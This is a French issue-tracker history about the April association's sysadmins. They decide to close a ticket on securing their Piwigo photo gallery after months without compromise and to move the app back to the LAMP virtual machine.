#34 - 28/02/2019 11:47 - Quentin Gibeaux

- Version cible changé de Février 2019 à Mars 2019

#35 - 28/03/2019 09:46 - Quentin Gibeaux

- Version cible changé de Mars 2019 à Avril 2019

#36 - 25/04/2019 14:46 - Quentin Gibeaux

- Version cible changé de Avril 2019 à Mai 2019

#39 - 27/04/2019 16:28 - Christian P. Momon

Le 27/04/2019 à 16:26, Christian Pierre MOMON a écrit à admins@april.org :

```
 Bonjour les adminsys,

 À propos du ticket suivant :

« Faire en sorte que piwigo ne soit plus vérolable »
https://agir.april.org/issues/2996

 Lors de la réunion de sprint du 09/01/2018, nous avions statué que :
(source : https://pad.april.org/p/reunion-sprint-janvier-2019)

---------------------------------8<---------------------------------
* #2996  Faire en sorte que piwigo ne soit plus vérolable
  * constat qu'après 4 mois, tout va bien
  * décisions à discuter :
    * a) fermer ce ticket ou se donner encore un délai pour voir si tout
va bien ?
      * prolongation de 3 mois l'observation
      * tant que le ticket du projet n'est pas fermé, gardons ouvert
    * b) conserver la VM photos ou migrer l'instance Piwigo vers la VM
lamp ?
      * on continue
---------------------------------->8---------------------------------

 Nous voilà 4 mois après. Suite au récent (et encourageant) échange avec
Pierrick de Piwigo (voir message privé dans le ticket), les mêmes
questions se reposent :

a) fermer ce ticket ou se donner encore un délai pour voir si tout va bien ?

b) conserver la VM photos ou remettre l'instance Piwigo sur la VM lamp ?

 À vos avis <3
```

#40 - 29/05/2019 22:19 - Quentin Gibeaux

- Version cible changé de Mai 2019 à Juin 2019

#41 - 30/05/2019 12:27 - Christian P. Momon

- Statut changé de Attente d'information à Résolu

Suite à la réunion de sprint adminsys du 29/05/2019 :

- comme pas de problème depuis 9 mois ;
- comme réception d'information rassurante de l'équipe Piwigo ;

alors :

- décision de passer le ticket en résolu ;
- de créer un autre pour faire revenir l'application dans la vm lamp.

#42 - 30/05/2019 20:07 - Christian P. Momon

- Lié à Demande #3721: Remettre l'application photos.april.org dans la vm lamp ajouté

#43 - 26/06/2019 22:06 - Quentin Gibeaux

- Statut changé de Résolu à Fermé

#44 - 12/05/2020 00:09 - Christian P. Momon

- % réalisé changé de 0 à 100